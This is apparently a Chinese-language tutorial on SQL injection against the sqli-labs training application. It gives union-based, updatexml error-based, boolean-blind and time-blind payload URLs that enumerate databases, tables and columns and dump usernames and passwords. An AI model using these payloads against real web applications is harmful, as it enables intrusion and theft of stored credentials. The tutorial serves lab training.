使用order by试探对查询结果中的字段数排序,确定sql查询语句列数
http://192.168.60.50/Less-1/?id=2' order by 3 --+
将id值设置为空或负数,以使后面union select查询的结果在页面展示,使用union select查询数据库用户名。
http://192.168.60.50/Less-1/?id=-1' union select 1,2,user() --+
继续查询出数据库版本,数据库名信息,可收集更多信息不一一列举。
http://192.168.60.50/Less-1/?id=-1' union select 1,version(),database() --+
此示例仅记录正则的使用
http://192.168.60.50/Less-1/?id=-1' union select 1,2,user() regexp "^ro" --+
如果我们想要查询出所有的用户名,可以使用我们前面介绍的group_concat()函数,将多个数据链接成为一条字符串返回。
http://192.168.60.50/Less-1/?id=-1' union select 1,2,group_concat(username) from users --+
重要:查询数据库核心语法
查库
select SCHEMA_NAME from information_schema.SCHEMATA;
查表
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='数据库名';
查列
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名';
查数据
select 列名 from 库名.表名
http://192.168.60.50/Less-1/?id=-1' union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='security' limit 0,1 --+
避免出现' ',库名用十六进制表示
http://192.168.60.50/Less-1/?id=-1' union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x7365637572697479 limit 1,1 --+http://192.168.60.50/Less-1/?id=-1' union select 1,2,group_concat(concat(username,0x7e,password)) from users --+
总结
Union注入步骤
1、order by猜测查询语句列数。
2、观察页面返回,选择显示位置,进行下一步注入。
3、查库信息。
4、查表信息。
5、查询字段。
6、查询数据。
Union注入应用场景
1、只有最后一个select 子句允许有order by。
2、只有最后一个select 子句允许有limit。
3、注入点页面有回显。
4、union连接的几个查询字段数一样且列的数据类型转换没问题。
Updatexml注入
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()。它们都是通过构造payload让信息通过错误提示显示出来。
我们到Sqli-labs中测试updatexml()函数
http://192.168.60.50/Less-1/?id=-1' union select 1,2,updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+
updatexml函数()内的sql语句可以任意替换为我们想要达到目的的sql语句。比如想查询表中列:
http://192.168.60.50/Less-1/?id=-1' union select 1,2,updatexml(1,concat(0x7e, (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1,1),0x7e),1) --+
使用left()函数依次判断数据库每个字符,我们根据页面没有输出"You are in....."提示信息判定,当前数据库第一个字符不为p。
http://192.168.60.50/Less-8/?id=3' and left(database(),1) ='p' --+
使用left函数依次判断数据库每个字符,我们根据页面输出"You are in....."提示信息判定,当前数据库第一个字符为s。
http://192.168.60.50/Less-8/?id=3' and left(database(),1) ='s' --+
使用left函数依次判断数据库每个字符,我们最终尝试出数据库名为'security'
http://192.168.60.50/Less-8/?id=3' and left(database(),7) ='security' --+
猜数据表名
http://192.168.60.50/Less-8/?id=3' and left((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1),5) ='users' --+
时间盲注
时间盲注原理
代码存在sql注入漏洞,但页面不显示数据,也不显示错误的信息。我们不能通过页面内容来进行判断。这种情况下我们可以通过构造语句。通过页面响应的时长来判断信息。
http://192.168.60.50/Less-1/?id=-1' union select 1,2, sleep(3) --+
时间盲注方法
构造逻辑语句,通过条件语句进行判断,为真立即执行,为假通过sleep()函数延时执行或相反,使用工具时可设置为真延时执行,因为尝试数据中大多数为假。
http://192.168.60.50/Less-1/?id=2' and if(ascii(substr(database(),1,1))>97,sleep(3),1)=0 --+